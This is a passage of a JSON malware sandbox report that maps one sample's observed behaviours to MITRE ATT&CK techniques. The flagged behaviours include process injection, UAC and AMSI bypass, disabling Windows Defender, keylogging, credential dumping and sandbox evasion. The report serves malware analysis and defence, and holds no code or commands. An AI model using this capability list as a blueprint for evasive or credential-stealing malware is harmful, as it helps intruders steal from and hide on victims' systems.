Development","technique":"Domains","attack_id":"T1583.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1583/001","identifiers":[{"type":"informative","value":"Short-term SSL certificate detected"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Initial Access","technique":"Phishing","attack_id":"T1566","attack_id_wiki":"https://attack.mitre.org/techniques/T1566","identifiers":[{"type":"malicious","value":"Application communicates with a malicious domain"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Calls an API typically used to find a resource in a module"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"},{"type":"informative","value":"Contains ability to find and load resources of specific modules (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Calls an API typically used to load a resource in memory"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve/modify process thread (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Contains ability to create/connect to a named pipe (API string)"},{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"},{"type":"informative","value":"Contains ability to executes commands or batch file"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"suspicious","value":"Contains references to WMI/WMIC"},{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Executes WMI queries"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"informative","value":"Observed Powershell command strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Scheduled Task/Job","attack_id":"T1053","attack_id_wiki":"https://attack.mitre.org/techniques/T1053","identifiers":[{"type":"informative","value":"References task scheduler-related strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to schedule tasks using COM objects"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads the .NET runtime environment"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Logged script engine calls"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"The analysis extracted a file that was identified as malicious"},{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"},{"type":"malicious","value":"The analysis spawned a process that was identified as malicious"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Contains ability to create/modify item values (Powershell command string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Accesses System Certificates Settings"},{"type":"malicious","value":"Modifies the UAC/LUA settings (Account Control)"},{"type":"informative","value":"Able to delete registry key/value (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to create/control drivers (API string)"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Persistence","technique":"Shortcut Modification","attack_id":"T1547.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/009","identifiers":[{"type":"informative","value":"Contains ability to register hotkeys (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft","attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate another user on the local machine (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"suspicious","value":"Spawned processes are likely due to an injection"},{"type":"informative","value":"Able to inject code into another process (API string)"},{"type":"malicious","value":"Writes data to a remote process"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"},{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify process memory (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"Create Process with Token","attack_id":"T1134.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/002","identifiers":[{"type":"informative","value":"Contains ability to create process with token (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"Bypass User Account Control","attack_id":"T1548.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1548/002","identifiers":[{"type":"informative","value":"Contains ability to bypass UAC using COM object (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"Abuse Elevation Control Mechanism","attack_id":"T1548","attack_id_wiki":"https://attack.mitre.org/techniques/T1548","identifiers":[{"type":"informative","value":"Contains ability to use security policy setting (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Can load assembly that contains the code that is currently executing (Dotnet)"},{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Contains ability to modify file system redirection (API string)"},{"type":"informative","value":"Contains ability to empty the recycle bin (API string)"},{"type":"informative","value":"Able to permanently delete files from the Recycle Bin"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to set file time (API string)"},{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"informative","value":"Calls an API typically used to remove a directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to block user input (API string)"},{"type":"informative","value":"Able to modify Windows Defender exclusions (Powershell command string)"},{"type":"informative","value":"Contains ability to modify Windows Defender preferences (Powershell command string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Contains reference to method used by Windows shell items (API string)"},{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"informative","value":"YARA signature match - Djb2 Hash Algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Indicator Blocking","attack_id":"T1562.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/006","identifiers":[{"type":"informative","value":"Modifies process error mode to suppress error dialogs"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Uses certutil from the Windows Certificate Services"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Match Legitimate Resource Name or Location","attack_id":"T1036.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/005","identifiers":[{"type":"malicious","value":"Creates a fake system process"},{"type":"informative","value":"Creates file(s) in System32 or SysWOW64 directory"},{"type":"malicious","value":"Found a system process name at an unusual pathway"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"System Binary Proxy Execution","attack_id":"T1218","attack_id_wiki":"https://attack.mitre.org/techniques/T1218","identifiers":[{"type":"suspicious","value":"Detected system process execution without parameters (likely process injection)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"malicious","value":"Drops executable files to the application program directory (%ProgramData%)"},{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"informative","value":"YARA signature match – Embedded PE executable"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Credential Access","technique":"Input Capture","attack_id":"T1056","attack_id_wiki":"https://attack.mitre.org/techniques/T1056","identifiers":[{"type":"informative","value":"Contains ability to register/read input devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Credential Access","technique":"Credential API Hooking","attack_id":"T1056.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/004","identifiers":[{"type":"malicious","value":"Sets a computer-based training (CBT) hook"},{"type":"informative","value":"Sets a windows hook"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Touches files in program files directory"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Reads files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"malicious","value":"Checks for files associated with bitcoin mining software"},{"type":"informative","value":"Contains ability to read files (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Reads system mouse configuration"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"}],"sources":[{"report_type":"sandbox","report_id":"6ac69f7c0d74e5869207a962"}]},{"tactic":"Discovery","technique":"System 